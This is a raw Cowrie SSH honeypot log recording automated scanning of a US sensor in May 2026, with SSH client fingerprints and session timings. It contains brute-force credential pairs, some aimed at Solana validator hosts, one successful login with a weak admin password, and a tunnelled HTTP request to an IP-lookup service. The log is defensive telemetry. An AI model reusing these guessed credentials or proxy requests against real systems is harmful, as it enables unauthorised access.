{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:52.809158Z","src_ip":"2.57.122.238","session":"9daaae38fb5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:53.111615Z","src_ip":"2.57.122.238","session":"9daaae38fb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:54.215411Z","src_ip":"2.57.122.238","session":"9daaae38fb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":55916,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6370e43da5a","protocol":"ssh","message":"New connection: 171.231.193.85:55916 (159.203.135.109:22) [session: e6370e43da5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:56.304853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:56.325242Z","src_ip":"171.231.193.85","session":"e6370e43da5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:56.599630Z","src_ip":"171.231.193.85","session":"e6370e43da5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:57.762310Z","src_ip":"171.231.193.85","session":"e6370e43da5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:59.199667Z","src_ip":"171.231.193.85","session":"e6370e43da5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58648,"dst_ip":"10.17.0.5","dst_port":22,"session":"33e5e434bea7","protocol":"ssh","message":"New connection: 2.57.122.210:58648 (10.17.0.5:22) [session: 33e5e434bea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:10:08.800393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:10:08.805418Z","src_ip":"2.57.122.210","session":"33e5e434bea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:10:08.911169Z","src_ip":"2.57.122.210","session":"33e5e434bea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin","message":"login attempt [sol/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:10:09.241255Z","src_ip":"2.57.122.210","session":"33e5e434bea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:10:10.348388Z","src_ip":"2.57.122.210","session":"33e5e434bea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37494,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2767075702","protocol":"ssh","message":"New connection: 103.15.226.202:37494 (10.17.0.5:22) [session: 5c2767075702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:11:28.935443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:11:28.940342Z","src_ip":"103.15.226.202","session":"5c2767075702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:11:29.181018Z","src_ip":"103.15.226.202","session":"5c2767075702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2021","message":"login attempt [root/root2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:11:29.901561Z","src_ip":"103.15.226.202","session":"5c2767075702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:11:31.144097Z","src_ip":"103.15.226.202","session":"5c2767075702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e280cbfd527d","protocol":"ssh","message":"New connection: 2.57.122.238:49026 (10.17.0.5:22) [session: e280cbfd527d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:03.237709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:03.243899Z","src_ip":"2.57.122.238","session":"e280cbfd527d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:03.349741Z","src_ip":"2.57.122.238","session":"e280cbfd527d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:03.667865Z","src_ip":"2.57.122.238","session":"e280cbfd527d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:04.775872Z","src_ip":"2.57.122.238","session":"e280cbfd527d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34882,"dst_ip":"10.17.0.5","dst_port":22,"session":"a372c5b5a4e2","protocol":"ssh","message":"New connection: 2.57.122.210:34882 (10.17.0.5:22) [session: a372c5b5a4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:21.518559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:21.523734Z","src_ip":"2.57.122.210","session":"a372c5b5a4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:21.638494Z","src_ip":"2.57.122.210","session":"a372c5b5a4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"validator","message":"login attempt [sol/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:21.992384Z","src_ip":"2.57.122.210","session":"a372c5b5a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:12:23.119400Z","src_ip":"2.57.122.210","session":"a372c5b5a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":43004,"dst_ip":"159.203.135.109","dst_port":22,"session":"a987463f7add","protocol":"ssh","message":"New connection: 171.231.193.85:43004 (159.203.135.109:22) [session: a987463f7add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:00.055343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:00.086557Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:01.330132Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:02.527978Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.231.193.85","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:04.139106Z","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:05.009034Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:05.013335Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:06.531583Z","src_ip":"171.231.193.85","session":"a987463f7add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8ab16b2f35","protocol":"ssh","message":"New connection: 194.59.206.2:49966 (10.17.0.5:22) [session: 5d8ab16b2f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:24.273300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:24.278918Z","src_ip":"194.59.206.2","session":"5d8ab16b2f35","protocol":"ssh"}
